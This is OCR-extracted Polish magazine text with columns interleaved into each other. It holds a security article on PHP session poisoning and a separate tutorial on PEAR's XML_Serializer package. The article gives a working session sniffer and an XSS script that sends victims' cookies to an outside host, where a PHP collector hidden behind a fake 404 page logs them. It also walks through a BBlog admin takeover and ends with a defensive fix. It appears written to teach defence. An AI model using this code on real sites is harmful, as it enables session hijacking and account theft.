dostęp przez cały czas istnienia sesji). </tr>
W systemach uniksowych są to pliki </table>
</form><br>
o nazwach sess_$ID ulokowane w kata-
<table cellpadding=5 cellspacing=0 border=1>
logu /tmp, gdzie $ID oznacza przypisany <tr bgcolor="silver"><th>Przechwycone dane</th></tr>
do danego użytkownika numer sesji. <tr><td><?var_export($_SESSION);?></td></tr>
Struktura takiego pliku wygląda nastę- </table><br>
pująco: <form method=post>
<table cellpadding=5 cellspacing=0 border=1>
<tr bgcolor="silver"><th>Zmienna:</th></tr>
nazwa zmiennej|typ:[długość:]wartość; <tr><td><input type="text" name="variable"></td></tr>
<tr bgcolor="silver"><th>Wartosc:</th></tr>
A oto przykładowy plik sesji: <tr><td><input type="text" name="var_value"></td></tr>
<tr bgcolor="silver"><td><input type="submit" value="Zmień"></td></tr>
</table>
zalogowany|i:1;login|s:6:
</form>
"unknow";haslo|s:5:"tajne"
<?
Zapis login|s:6:"unknow" oznacza, if (isset($variable)){
że w sesji zdefiniowana jest zmienna echo('<br><font color="green">Ustawiono $variable na wartość
'.$var_value.'</font><br><br>');
$login typu tekstowego (s = string) o
$_SESSION["$variable"]=$var_value;
długości sześciu znaków oraz wartości }
unknow. Poszczególne zmienne w pliku echo('<br>Copyright &copy by Unknow - unknow@uw-team.org');
sesji oddzielone są od siebie znakiem ?>
średnika. Dla danych liczbowych nie

PHP Solutions Nr 3/2006 www.phpsolmag.org 73


Bezpieczeństwo zatruwanie sesji w PHP

www.securityfocus.com/archive/1/410895/ Następnie utworzymy formularz umożli- fer działa jedynie w obrębie serwera, na któ-
30/0/threaded. wiający użytkownikowi wpisanie wspomnia- rym został uruchomiony i tylko pod warun-
Na czym polega wymienione zagro- nego już przechwyconego numeru sesji, kiem, że wszystkie sesje zapisywane są w
żenie? W chwili, gdy użytkownik urucha- który zostanie przesłany metodą POST. Po- tym samym katalogu. Sprawia to, że użyt-
mia dowolny skrypt PHP wykorzystują- tem w tabeli wyświetlimy zawartość tablicy kownicy serwerów dedykowanych oraz
cy system sesji, zostaje mu przypisane $_SESSION, czyli przechwycone zmienne se- wszelkich kont niepublicznych mogą się
SessionID – unikalny numer identyfikują- syjne i utworzymy kolejny formularz, pozwa- czuć bezpiecznie. W przypadku serwerów
cy tę sesję. Co się stanie, jeśli uruchomi- lający na wpisanie nowej wartości zmien- wirtualnych, każde konto ma przeważnie
my dwa różne skrypty używające systemu nej $variable (w polu var_value). Na ko- swój własny katalog /tmp, w którym prze-
sesji? Zostanie nam przydzielony unikalny niec będziemy sprawdzać, czy zmienna chowywane są sesje, natomiast na serwe-
numer sesji, lecz... okazuje się, że będzie $variable istnieje: jeżeli tak, to przypiszemy rach niepublicznych nie można umieścić ko-
on w obu przypadkach taki sam! Błąd ten jej nową wartość, wysłaną przez użytkowni- du sniffera.
występuje nawet wtedy, gdy uruchomimy ka w formularzu i pobraną z pola var_value
dwa skrypty z sesjami na różnych kontach ($var_value). Komu zagraża sniffer sesji?
użytkowników. Oznacza to, że przykłado- Jak widzimy, sniffer nie operuje na pli- Jak już wspomniałem, podatne są jedynie
wy skrypt pod adresem: kach. Odczytuje on jedynie zawartość tabli- serwery, na których istnieje możliwość swo-
cy zmiennych sesyjnych, co znaczy, że bę- bodnego założenia konta, a dane tymczaso-
http://www.jakisadres.pl/~konto/skrypt.php dzie on działał także przy włączonej opcji we (katalog /tmp) są współdzielone. Ozna-
Safe Mode. Należy jednak pamiętać, że snif- cza to, że choć serwery największych firm
wygeneruje nam ten sam numer sesji, co
aplikacja znajdująca się pod:
Jak zdobyć numer sesji użytkownika?
Istnieje wiele metod zdobycia numeru sesji. Przedstawimy te najpopularniejsze, pomi-
http://www.jakisadres.pl/~innekonto/
jając wszelkiego rodzaju socjotechnikę (czyli manipulowanie zachowaniem użytkowni-
skrypt.php. ków).
Najprostszym sposobem przechwycenia potrzebnych agresorowi danych jest użycie
Jest to niezwykle istotna luka w bezpie- błędów typu XSS (zostały one opisane w poprzednim numerze PHP Solutions, w artykule
Niebezpieczeństwa ataków XSS i CSRF). Przyjmujemy, że większość czytelników wie, na
czeństwie stanowiąca furtkę dla agresora,
czym polegają tego typu błędy.
gdyż wszystkie zmienne tworzone przez Załóżmy, że mamy księgę gości, w którą możemy wpisać dowolny kod HTML.
pierwszy skrypt mogą być nadpisywane Wpiszmy zatem do niej następujący kod, którego zadaniem będzie pobieranie ciaste-
przez drugi – wystarczy, że pokrywają się czek:
ich nazwy. <script language="JavaScript">
self.location.href="
Sniffing sesji, http://www.intruder.pl/loguj.php?id=
czyli namierzanie "+escape(document.cookie);

zmiennych sesyjnych </script>

Sniffing to obserwowanie ruchu w sieci Następnie pod adresem podanym w skrypcie musimy umieścić plik loguj.php o następują-
komputerowej w celu przejęcia przesyła- cej zawartości:
nych danych, w szczególności loginów i ha-
<?php
seł. Natomiast sniffing sesji odnosi się do
if (isset($id)){
przechwytywania i ewentualnego modyfiko- $plik=fopen('dane.txt','a');
wania zmiennych sesyjnych. Na Listingu 1 fputs($plik,"$id\n");
przedstawiamy kod prostego sniffera sesji, fclose($plik); }
który będzie wykonywał obie te czynności. echo('Error 404 – nie ma takiej strony');
?>
Jego działanie jest następujące:
sprawdzamy, czy użytkownik wpisał prze- Gdy już wszystko przygotujemy, każda osoba wchodząca na księgę gości z umieszczo-
chwycony przez siebie numer sesji. Je- nym przez agresora kodem będzie automatycznie przekierowywana na stronę z fałszy-
żeli tak, to tworzymy ciasteczko PHP- wym błędem 404, a jej ciasteczka zostaną zapisane w pliku.
Agresor musi jedynie odczytać ten plik w chwili, gdy ofiara jest jeszcze zalogowana,
SESSID, do którego go przypiszemy. Na-
lub gdy sesja jeszcze nie wygasła. Gdy zdobędzie on numer sesji w takim właśnie mo-
stępnie, niezależnie od wyniku tej opera- mencie, wystarczy, że w drugim oknie uruchomi sniffera sesji prezentowanego na począt-
cji, uruchamiamy nową sesję na serwerze ku artykułu i zmieni numer swojej sesji na właśnie zdobyty.
(session_start). Jak wiemy, jeśli przed Naturalnie, prezentowany sposób wstrzykiwania kodu JavaScript w kod strony jest tyl-
ko przykładem. Równie dobrze możemy go wstawić jako parametr w adresie strony, o ile
wywołaniem tej instrukcji istniała jakaś
parametr ten jest później wyświetlany na stronie bez filtrowania tagów.
sesja, to nowo zakładanej sesji zosta- Niezwykłą ciekawostką jest fakt, że w chwili, gdy zaczniemy zatruwać przypisaną nam
nie przypisany jej numer. Jeśli więc dwa sesję z numerem ofiary, wszystkie odczuwalne przez nas zmiany będą również odczuwal-
skrypty wywołały tworzenie sesji na jed- ne dla ofiary. Oznacza to, że jeśli agresor przypisze sobie numer sesji zdobyty poprzez
skrypt logujący, a następnie zmieni sobie poziom użytkownika np. na administratora, to
nym serwerze, to oba będą używały te-
użytkownik, którego numer sesji został skradziony, również natychmiastowo otrzyma pra-
go samego identyfikatora sesji, w konse- wa administratora, ponieważ obie osoby korzystają z tego samego pliku przetrzymujące-
kwencji operując na wspólnym pliku i udo- go dane sesji.
stępniając sobie nawzajem zmienne.

74 www.phpsolmag.org PHP Solutions Nr 3/2006


zatruwanie sesji w PHP Bezpieczeństwo

hostingowych wydają się bezpieczne, to bloga korzystając ze znanych nam danych


jednak testy, które przeprowadziłem na ta- (podanych podczas instalacji), a jednocze-
nich dostawcach usług hostingowych po- śnie odświeżamy zawartość okna ze sniffe-
twierdzają, że ich znaczna część jest podat- rem. W oknie sniffera powinniśmy zobaczyć
na na tego typu ataki. Ponadto moi znajo- następujące dane:
mi przeprowadzili szereg testów na krakow-
skich serwerach uczelnianych, które oferują Przechwycone dane:
swoim studentom miejsce na strony domo- array ( 'user_id' => '1', )
we. Dokładnie 100% przeprowadzonych te-
stów zakończyło się w tym przypadku suk- Jak widzimy, jedyną zmienną zmodyfiko-
cesem, czyli każdy z badanych systemów waną podczas logowania jest $user_id.
okazał się podatny na atak. Jeśli więc jesteś Została jej przypisana wartość 1, co w tym
posiadaczem konta studenckiego na serwe- przypadku oznacza administratora (pamię-
rze hostingowym swojej uczelni, lub kupiłeś tajmy, choć że podstawowa wersja BBloga
płatne konto za przysłowiowe 3 zł miesięcz- jest przeznaczona dla jednego użytkowni-
nie, to możesz być pewien, że twoje dane ka, to z wersji rozszerzonej może korzy- Rysunek 1. Działanie sniffera sesji
nie są w pełni bezpieczne. stać więcej użytkowników).
W pełni skuteczną metodą jest jednak wy-
Przykład użycia sniffera sesji Do ataku! łącznie zmiana folderu przechowywania
Tym razem posłużymy się istniejącym i nie- Wiemy już, jaką zmienną musi edytować sesji. Zrobimy to dopisując na początku
zwykle popularnym skryptem, jakim jest agresor, aby zalogować się do panelu admi- swojego skryptu następującą linijkę:
BBlog. Jest to system przeznaczony do nistracyjnego. Kolejnym etapem ataku jest
prowadzenia internetowego pamiętnika założenie konta na tym samym serwisie ho- session_save_path('sesje/');
(bloga). Jest stosunkowo prosty w budo- stingowym, na którym znajduje się blog, na
wie i zarazem bardzo bezpieczny (od daw- którym chcemy uzyskać większe przywileje. Pamiętajmy, aby podkatalog sesje/ istniał
na nie stwierdzono w nim podatności na Jeśli więc wybierzemy skrypt: i miał ustawione pełne prawa dostępu (chmod
SQL Injection i ataki innego typu). Mimo to, http://www.dowolnyadres.pl/~konto/ 777). Metoda ta stanowi w pełni wystarczają-
cały jego system uwierzytelniania użytkow- ce zabezpieczenie zarówno przed ręczną
nika opiera się na zaledwie jednej zmien- To adresem konta osoby testującej oma- modyfikacją pliku z sesjami (agresor nie bę-
nej sesyjnej. Jak widać, autorzy tego opro- wiany błąd będzie np.: dzie wiedział, gdzie przechowywane są se-
gramowania zaufali powszechnej opinii, ja- sje), jak i przed drugą z opisywanych metod.
koby modyfikacja zmiennych sesyjnych by- http://www.dowolnyadres.pl/~tester/
ła niemożliwa. Podsumowanie
W tym przypadku nie będziemy zatru- Teraz zamieścimy skrypt sniffer.php na Na podstawie przedstawionych przez
wali sesji innych użytkowników w celu prze- swoim koncie (np. za pomocą FTP) i wej- nas technik przechwytywania i modyfi-
jęcia ich kont, lecz zatrujemy swoją własną dziemy do panelu administracyjnego blo- kacji zmiennych sesyjnych widać, że nie
sesję, aby stać się pełnoprawnym użytkow- ga, otwierając jednocześnie sniffera w dru- można w pełni ufać rzekomo oferowane-
nikiem bloga. Nasz eksperyment zaczyna- gim oknie. Gdy naszym oczom ukaże się mu przez sesje bezpieczeństwu. Zamiast
my od instalacji BBLoga na swoim koncie, formularz pytający o login i hasło do bloga, tego, należy dołożyć wszelkich starań w
np. pod adresem: przełączymy się do naszego skryptu i wpi- celu uniemożliwienia wystąpienia tych
szemy do niego dane według schematu: oraz wielu innych błędów (np. XSS czy
http://www.naszhost.pl/~naszekonto/ HTML Injection). Obrona przed obiema
pamietnik/ zmienna: user_id metodami przechwytywania sesji zajmu-
wartość: 1 je jedną linijkę kodu zmieniającą położe-
Jednocześnie pod adresem: nie folderu sesji: pokazuje to, jak niewie-
Następnie zatwierdzamy zmiany i czekamy le trzeba, aby być bezpiecznym. n
http://www.naszhost.pl/~naszekonto/ na komunikat o nadpisaniu zmiennych. Po-
sniffer.php tem powracamy do panelu logowania i od-
świeżamy stronę (klawiszem [F5] lub [CTR-
Umieszczamy kod z Listingu 1. Teraz L]+[R]). Tym razem okno z loginem i hasłem
O autorze:
wchodzimy do panelu administracyjnego nie powinno się pojawić – zamiast tego, po-
założonego przez nas bloga: winniśmy się znaleźć w panelu administra- Jakub Mrugalski pracuje jako programi-
cyjnym. Tak oto zalogowaliśmy się bez uży- sta i administrator w jednej z krakowskich
agencji reklamowych, a zarazem jest stu-
http://www.naszhost.pl/~naszekonto/ cia hasła modyfikując jedynie (teoretycznie dentem zaocznym informatyki. W wolnym
pamietnik/bblog/ niemodyfikowalną) zmienną sesyjną. czasie zajmuje się prowadzeniem serwi-
su internetowego uw-team.org oraz pro-
W drugim oknie przeglądarki otwieramy snif- Jak się zabezpieczyć? wadzeniem własnych projektów programi-
stycznych.
fer sesji. Na razie okno przechwyconych Istnieje kilka metod takiego pisania skryp- Kontakt z autorem: unknow@uw-team.org
zmiennych będzie puste. Logujemy się do tów, aby nie były one podatne na ten błąd.

PHP Solutions Nr 3/2006 www.phpsolmag.org 75


PEAR

Generowanie kodu XML


z pakietem XML_Serializer
Stopień trudności: lll
Aaron Wormus

Przedstawiamy kolejny bardzo przydatny


pakiet PEAR'owy, tym razem związany z XML.
W artykule pokażemy zastosowanie XML-owego
niezbędnika PHP, czyli pakietu XML_Serializer,
pozwalającego szybko i w łatwy sposób
generować dokumenty XML.

O
d czasu stworzenia standardu cation, a wraz z popularyzacją technolo-
XML pod koniec lat 90., po- gii AJAX XML coraz częściej pojawiają się
wszechne podejście do tego również na zwykłych stronach interneto-
języka uległo poważnym zmianom. Spe- wych. W obliczu wszechobecności XML-a
cyfikację XML pierwotnie opracowała gru- we współczesnej informatyce, umiejętność
pa robocza W3C złożona z przedstawicieli tworzenia i parsowania kodu XML stała się
wielu znanych korporacji informatycznych, koniecznością dla każdego programisty.
więc w marketingowej gorączce związanej Oczywiście XML znalazł również dro-
w utworzeniem nowego, rozszerzalnego gę do świata PHP, gdzie zadomowił się na
języka znaczników obsługa XML-a była dobre w różnorodnych zastosowaniach:
dodawana do wielu programów tylko po formatowaniu dokumentów, składowaniu
to, by dołożyć najnowszy chwytliwy skrót danych, protokołach SOAP i XML-RPC
W SIECI do opisu produktu. i wielu innych.
Z biegiem lat gorączka ostygła i za-
częto używać XML-a do celów, do któ-
1. http://pear.php.net/package/
rych został stworzony. Obecnie można po- Co należy wiedzieć...
XML_Serializer wiedzieć, że XML zadomowił się na do- Powinieneś się dobrze orientować
– strona główna pakietu bre w informatyce, a w dodatku znajdu- w tematyce XML.
XML_Serializer
2. http://xulplanet.com je zastosowanie w miejscach, o których
– XULPlanet, ciekawa witry- się autorom pierwotnej specyfikacji na- Co obiecujemy...
na o języku XUL
3. http://imdb.com wet nie śniło. Formaty XML-owe spotyka- Pokażemy jak generować różnego
– IMDB, czyli Internet Movie my na każdym kroku, od protokołów Web rodzaju dokumenty XML z pomocą
Data Base
Services poprzez eksport danych z apli- pakietu XML_Serializer
kacji po standard Internet Content Syndi-

76 www.phpsolmag.org PHP Solutions Nr 3/2006


XML_Serializer PEAR

Słowo o XML-u w deklaracji XML należy umieścić atrybut Pakiet XML_Serializer nosi oznacze-
Zanim zajmiemy się samym pakietem encoding = "utf-8". nie beta, jednak nie wynika ono z jako-
XML_Serializer, nie zawadzi pokrótce Ciało dokumentu XML stanowi je- ści kodu, a jedynie sygnalizuje możli-
przyjrzeć się formatowi i strukturze doku- den znacznik nadrzędny, zawierają- wość przyszłych zmian w API. Zgodnie
mentów XML. cy całą resztę dokumentu. W przykła- ze standardami PEAR, oznaczenie pa-
Twórcy specyfikacji XML wzorowa- dzie z Listingu 1 znacznikiem nadrzęd- kietu jako stabilnego (stable) jest równo-
li się na standardzie języka znaczników nym jest <movies>, w którym znajduje znacznie zamrożeniu API w celu utrzy-
SGML (ang. Standard General Markup się wiele znaczników <movie>. Na ra- mania kompatybilności. Z tego też wzglę-
Language), opracowanym jeszcze w la- zie dokument nie zawiera zbyt dużo in- du twórcy intensywnie rozwijanych pakie-
tach 80. jako format tekstowy nadają- formacji, może poza tym, że lubię filmy tów utrzymują je w stanie beta do czasu
cy się do przetwarzania przez kompu- z dobrą ścieżką dźwiękową. Listing 2 osiągnięcia przez API dojrzałości gwa-
ter. Ze względu na wysoki stopień ogól- przedstawia ten sam dokument roz- rantującej brak poważniejszych zmian
ności SGML był jednak językiem bar- budowany o dodatkowe znaczniki za- w przyszłości.
dzo skomplikowanym, stąd też potrze- gnieżdżone i atrybuty.
ba opracowania prostszej jego wersji, Specyfikacja XML znacznie oczywi- Praca z pakietem
nadającej się do wykorzystania w Inter- ście wykracza poza te proste przykłady, XML_Serializer
necie i niewymagającej pełnego parse- ale dla potrzeb tego artykułu więcej infor- Zanim zagłębimy się w mechanizmy
ra SGML do przetwarzania dokumentów. macji o samym XML-u nie będziemy po- funkcjonowania pakietu XML_Seriali-
XML jest więc podzbiorem języka SGML trzebować. zer, przyjrzyjmy się kodowi pokazujące-
i opiera się na podobnych do niego za- mu, jak łatwo generować kod XML z po-
łożeniach, ale z uwzględnieniem dodat- Instalacja pakietu mocą tego narzędzia (Listing 3). Zaczy-
kowych ograniczeń mających na celu XML_Serializer namy od dołączenia pliku zawierającego
uproszczenie procesu parsowania. XML_Serializer jest zależny od kilku in- kod klasy XML_Serializer, po czym two-
Listing 1 przedstawia przykłado- nych pakietów PEAR, więc instalacja rzymy tablicę zawierającą dane oraz ta-
wy kod prostego dokumentu XML opi- wymaga wykonania następującego po- blicę zawierającą opcje, na podstawie
sującego moje ulubione filmy. XML wy- lecenia: pear install --alldeps xml_ których XML_Serializer będzie genero-
gląda znajomo dla każdego, kto zna serializer-beta. Spowoduje to zainstalo- wać kod XML.
HTML. Nieprzypadkowo – oba języ- wanie pakietów: XML_Serializer, XML_Util Tworząc instancję klasy XML_Serializer
ki są podzbiorami ogólniejszego forma- i XML_Parser. przekazujemy konstruktorowi tablicę opcji,
tu SGML. Dokument zaczyna się od de-
klaracji XML, określającej wersję forma- Listing 3. Generowanie kodu XML z pomocą pakietu XML_Serializer
tu XML oraz metodę kodowania tekstu.
W przypadku dokumentów w Unikodzie, require_once 'XML/Serializer.php';
$movies = array("Piąty Element", "High Fidelity");
$options = array ('rootName' => 'movies','defaultTagName' => 'movie');
Listing 1. Lista ulubionych filmów $serializer = &new XML_Serializer($options);
w prostym dokumencie XML $status = $serializer->serialize($movies);
$xml = $serializer->getSerializedData();
<?xml version="1.0"?> header('Content-type: text/xml');
<movies> echo $xml;
<movie>Piąty Element</movie>
<movie>High Fidelity</movie> Listing 4. Generowanie kodu XML w trybie simplexml
</movies>
$movies = array('movie' => array('Piąty Element', 'High Fidelity'));
Listing 2. Lista ulubionych filmów $options = array ('rootName' => 'movies', 'mode' => 'simplexml');
z nieco bardziej szczegółowymi
informacjami Listing 5. Dodawanie atrybutów do znaczników XML za pomocą
tablicy asocjacyjnej
<movies>
<movie name="Piąty Element"> $movies = array(array('attr' => array('name' => 'Piąty Element'),
<writer>Luc Besson</writer> "writer" => "Luc Besson",
<year>1997</year> "year" => "1997",
<imdb>tt0119116</imdb> "imdb" => "tt0119116"),
</movie> array('attr' => array('name' => 'High Fidelity'),
<movie name="High Fidelity"> "writer" => "Nick Hornby",
<writer>Nick Hornby</writer> "year" => "2000",
<year>2000</year> "imdb" => "tt0146882"));
<imdb>tt0146882</imdb> $options = array ('rootName' => 'movies',
</movie> 'attributesArray' => "attr",
</movies> 'defaultTagName' => 'movie');

PHP Solutions Nr 3/2006 www.phpsolmag.org 77


PEAR XML_Serializer

Tabela 1. Niektóre opcje pakietu XML_Serializer


Nazwa Opis
indent Ciąg znaków używany do tworzenia wcięć
linebreak Znak nowej linii (domyślnie \n)
addDecl Dodanie deklaracji XML
encoding Kodowanie znaków w dokumencie
defaultTagName Domyślna nazwa używana w przypadku braku jawnie określonego znacznika
scalarAsAttribute Serializacja wszystkich wartości jako atrybutów; może dotyczyć tylko wybranych znaczników
indentAttributes Wyrównanie atrybutów w pionie w obrębie znacznika
addDoctype Dodanie deklaracji XML Doctype
doctype Ciąg znaków lub tablica z deklaracją Doctype
rootName Ciąg znaków z nazwą znacznika głównego
rootAttributes Atrybuty znacznika głównego
attributesArray Klucz wskazujący tablicę atrybutów dla znacznika macierzystego
contentName Klucz wskazujący wartość używaną jako treść znacznika macierzystego; opcja używana z attributesArray
commentName Treść komentarza
tagMap Odwzorowania nazw znaczników
mode Opcja trybu – ustawienie trybu simplexml spowoduje wykorzystanie klucza wartości macierzystej jako nazwy
znacznika
overrideOptions Pozwala opcjom ustawionym za pomocą setOption() lub setOptions() przesłaniać opcje przekazane w konstruktorze

po czym możemy pobrać dane seriali- kładowi z Listingu 1. Opcje generowania Zapoznanie się ze wszystkimi do-
zowane do kodu XML wywołując metodę XML-a można też zmieniać już po utwo- stępnymi opcjami jest istotnym elemen-
getSerializedData(). Kod z Listingu 3 rzeniu instancji XML_Serializer za po- tem opanowania pakietu XML_Serializer.
zwraca dane XML odpowiadające przy- mocą metod setOption() i setOptions(). Na podstawie tablicy danych można wy-
Jeśli opcje przekazane za pomocą generować dowolnego rodzaju kod XML
Listing 6. Kod XML wygenerowa- setOption() mają przesłonić opcje pier- – wystarczy tylko podać odpowiednie
ny z opcją traktowania wszystkich wotnie przekazane konstruktorowi, na- opcje, a niekiedy dodatkowo zmodyfiko-
wartości jako atrybutów leży ustawić parametr overrideOptions wać strukturę tablicy, by dokładniej odpo-
na true. wiadała strukturze pożądanego dokumen-
<movies>
Przyglądając się kodowi XML z do- tu XML. Tabela 1 przedstawia najważniej-
<movie imdb="tt0119116"
name="Piąty Element" tychczasowych przykładów nietrudno do- sze opcje, z których wiele poznamy na
writer="Luc Besson" strzec podobieństwo między strukturą kolejnych przykładach. Dostępne są też
year="1997" /> drzewa znaczników XML a strukturą ta- inne opcje, ale dla potrzeb tego artykułu
<movie imdb="tt0146882" blicy asocjacyjnej w PHP. XML_Serializer ich znajomość nie jest konieczna.
name="High Fidelity"
wykorzystuje to właśnie podobieństwo
writer="Nick Hornby"
year="2000" /> – jak widać z przykładu, wystarczy tabli- Tryby działania
</movies> ca z danymi i kilka opcji określających W pierwszym przykładzie wykorzy-
sposób generowania kodu XML. staliśmy prostą tablicę jednowymiaro-
Listing 7. XML z dodatkowymi
informacjami o postaciach z filmów

<movies>
<movie name='Piąty Element'>
<writer>Luc Besson</writer>
<year>1997</year>
<imdb>tt0119116</imdb>
<character name='Leeloo'>
<actor>Milla Jovovich</actor>
<imdb>nm0000170</imdb>
</character>
<character name='Korben Dallas'>
<actor>Bruce Willis</actor>
<imdb>nm0000246</imdb>
</character>
</movie>
<!-- ... -->
</movies>

Rysunek 1. Interfejs dla skryptu pobierającego dane o filmach z bazy IMDB

78 www.phpsolmag.org PHP Solutions Nr 3/2006


XML_Serializer PEAR

wą, a nazwy znaczników XML wska- XML_Serializer udostępnia kilka żemy w tej samej tablicy umieścić dwóch
zaliśmy za pomocą opcji rootName metod pracy z atrybutami. Pierw- kluczy o takiej samej nazwie character.
i defaultTagName. XML_Serializer po- szym sposobem jest wykorzysta- Moglibyśmy nie używać klucza, ale wte-
zwala też osiągnąć ten sam efekt w inny nie opcji attributesArray, pozwalają- dy XML_Serializer użyłby klucza domyśl-
sposób, co w naszym prostym przykła- cej na przekazanie klucza definiujące- nego, któremu wcześniej przypisaliśmy
dzie nie jest może konieczne, ale bar- go tablicę zawierającą nazwy i warto- wartość movie – a zupełnie nie o to nam
dzo się przydaje w przypadku bardziej ści atrybutów, które mają być dodane chodzi.
złożonych dokumentów XML. do znacznika macierzystego. W kodzie Rozwiązanie problemu wymaga
Za pomocą opcji mode możemy usta- z Listingu 5 klucz ten nosi nazwę attr. przejścia we wspomniany wcześniej tryb
wić tryb działania simplexml, w którym z Wskazanie tak przygotowanej tablicy simplexml i modyfikacji struktury tabli-
każdą wartością tablicy kojarzona jest w opcjach przekazywanych obiekto- cy. Dla zwiększenia czytelności podzieli-
nazwa klucza tablicy nadrzędnej, odpo- wi klasy XML_Serializer daje w wyniku łem jedną rozbudowaną tablicę na dwie
wiadająca nazwie znacznika. W trybie kod XML z Listingu 2. mniejsze. W rzeczywistości dane bę-
domyślnym można podać tylko jedną Dość często trafia się kod XML, dą najczęściej pobierane z zewnętrzne-
wartość defaultTagName, podczas gdy w którym wszystkie wartości są składo- go źródła (na przykład bazy danych lub
tryb simplexml pozwala jawnie określać wane jako atrybuty, czyli nie ma żadnych usługi sieciowej), więc nie ma potrzeby
nazwy znaczników na poszczególnych wartości w obrębie samych znaczników. operowania na dużych i niewygodnych
poziomach, co daje znacznie większą Jeśli tak faktycznie jest, to można usta- tablicach zagnieżdżonych. Dla potrzeb
kontrolę nad strukturą dokumentu XML. wić opcję scalarAsAttributes na true, naszego przykładu tablice dobrze jednak
Kod z Listingu 4 generuje identyczny co spowoduje traktowanie wszystkich ilustrują proces generowania kodu wy-
XML, jak przykład wcześniejszy, ale tym wartości kluczy w ramach danego znacz- nikowego – Listing 8 pokazuje definicje
razem korzystając z trybu simplexml. nika jako atrybutów. Listing 6 pokazuje odpowiednich tablic.
Decyzja o wyborze trybu w dużym kod XML wygenerowany z tych samych
stopniu zależy od rodzaju generowa- danych po podaniu tej opcji. Rzeczywisty przykład
nego kodu XML. Tryb domyślny jest ła- Na tym etapie wiemy już, na czym pole-
twy w obsłudze i w wielu przypadkach Znaczniki zagnieżdżone ga generowanie kodu XML za pomocą
sprawdza się zupełnie dobrze, jednak Mamy już całkiem porządną struktu- pakietu XML_Serializer, pora więc wyko-
w przypadku bardziej złożonych doku- rę dokumentu XML do składowania in- rzystać tę wiedzę w praktyce i wygenero-
mentów jedyną możliwością jest tryb formacji o ulubionych filmach, ale przy- wać coś, co mogłoby się przydać w rze-
simplexml. Pewną wadą pracy w trybie dałoby się ją jeszcze nieco rozbudować czywistych zastosowaniach. W tym ce-
simplexml jest konieczność tworzenia o informacje na temat głównych posta- lu wygenerujemy plik w formacie XUL
znacznie bardziej rozbudowanych ta- ci filmu. Wymaga to dodania dla każdej – schemacie XML używanym do defi-
blic danych. postaci zestawu znaczników ją opisują- niowania struktury interfejsu użytkowni-
cych – Listing 7 przedstawia przykłado- ka w przeglądarkach z rodziny Mozilla.
Dodawanie atrybutów wy kod XML. Wykorzystamy tablicę danych z ostat-
Dotychczasowe przykłady generowały W tym momencie pojawia się pro- niego przykładu, po czym podając od-
bardzo prosty kod XML, więc w kolejnym blem: nie da się takiego dokumentu zapi- powiednie opcje przetworzymy ją do po-
przykładzie pora wprowadzić atrybuty. sać w postaci tablicy PHP, gdyż nie mo- staci poprawnego dokumentu XUL, któ-

R E K L A M A

PHP Solutions Nr 3/2006 www.phpsolmag.org 79


PEAR XML_Serializer

ry zostanie następnie zinterpretowany


Listing 8. Tablica danych o filmach po przebudowaniu do pracy w trybie simplexml przez przeglądarkę jako okno interfejsu
użytkownika z zakładkami zawierający-
$characters = array(
array( mi dodatkowe informacje o filmach po-
'attr' => array('name' => 'Leeloo'), brane z bazy danych IMDB (Rysunek 1).
'actor' => 'Milla Jovovich', Listing 9 przedstawia kod realizujący to
'imdb' => 'nm0000170'), zadanie.
array(
Dane z tablicy $movies z poprzed-
'attr' => array('name' => 'Korben Dallas'),
'actor' => 'Bruce Willis', niego przykładu są pobierane w pę-
'imdb' => 'nm0000246')); tli foreach i używane do stworzenia no-
$movies=array('movie'=>array(array('attr'=>array('name' => wej tablicy, na podstawie której zosta-
'Piąty Element'), nie wygenerowany kod XUL. Niektóre
'writer' => "Luc Besson",
z opcji poznaliśmy już wcześniej, lecz
'year' => "1997",
'imdb' => "tt0119116", pojawia się również kilka nowych. Opcja
'character' => $characters)); rootAttributes przyjmuje argument
$options = array ( w postaci tablicy określającej atrybuty dla
'rootName' => 'movies', znacznika głównego – generujemy doku-
'attributesArray' => "attr",
ment XUL, więc musimy podać odpo-
'mode' => 'simplexml');
wiednią dla tego formatu wartość atrybu-
Listing 9. Kod generujący dokument z definicją interfejsu XUL tu namespace. Dodatkowo nadałem oknu
tytuł Moje ulubione filmy i ustawiłem
$browser_data = array('height' => "400", 'width' => "550");
dwie spacje jako ciąg używany tworzenia
foreach ($movies['movie'] as $m){
$tabs["tab"][]=array('label'=>$m['attr']['name']."({$m['year']})");
wcięć w kodzie XML (to oczywiście tylko
$url = "http://us.imdb.com/title/". $m['imdb']; kosmetyka, ale dzięki temu kod jest bar-
$movie_site = array("src" => $url,"id" => $m['imdb']); dziej czytelny).
$tab['label'] = $m['attr']['name']; Listing 10 przedstawia kod XML gene-
$tab['browser'] = array_merge($browser_data, $movie_site);
rowany przez ten przykład, a na Rysun-
$tab_panels['tabpanel'][] = $tab;
}
ku 1 widzimy ostateczną postać interfej-
$data = array("tabbox" => array("tabs" => $tabs, "tabpanels" => $tab_panels)); su XUL wyświetlanego przez przeglądar-
$options = array ('addDecl' => TRUE, ki Mozilla.
'rootName' => 'window',
"defaultTagName" => 'tab',
"scalarAsAttributes" => true,
Podsumowanie
"mode" => 'simplexml',
W tym krótkim artykule poznaliśmy zasa-
'indent' => ' ', dy wykorzystania pakietu XML_Serializer
'rootAttributes' => array("xmlns" => do tworzenia różnego rodzaju plików
"http://...is.only.xul","title"=>"Moje ulubione filmy")); XML. XML_Serializer to naprawdę świetny
$serializer = &new XML_Serializer($options);
pakiet i intensywnie korzystam z niego
$status = $serializer->serialize($data);
$xml = $serializer->getSerializedData();
w codziennej pracy. Istnieją wprawdzie
header('Content-type: application/vnd.mozilla.xul+xml'); inne sposoby generowania kodu XML, ale
echo $xml; jak dotąd nie znalazłem żadnego rozwią-
zania, które sprawdzałoby się równie do-
Listing 10. Kod XUL wygenerowany przez przykładowy skrypt brze i byłoby równie proste. Mam nadzieję,
<?xml version="1.0"?> że udało mi się pokazać możliwości tego
<window title="Moje ulubione filmy" xmlns="http://www.mozilla.org/keymaster/ pakietu i że będzie on dla Czytelników
gatekeeper/there.is.only.xul"> równie użyteczny, jak dla mnie. n
<tabbox>
<tabs>
<tab label="Piąty Element (1997)" />
<tab label="High Fidelity (2000)" />
</tabs> O autorze
<tabpanels>
<tabpanel label="Piąty Element"> Aaron Wormus programuje w PHP od
<browser height="400" id="tt0119116" src="..." width="550" /> 1999 r. Zajmował się tworzeniem roz-
</tabpanel> wiązań intranetowych w Perlu i technolo-
<tabpanel label="High Fidelity"> giach pokrewnych. Aaron koncentruje się
<browser height="400" id="tt0146882" src="..." width="550" /> na dostarczaniu przedsiębiorstwom wy-
</tabpanel> sokiej jakości rozwiązań intranetowych
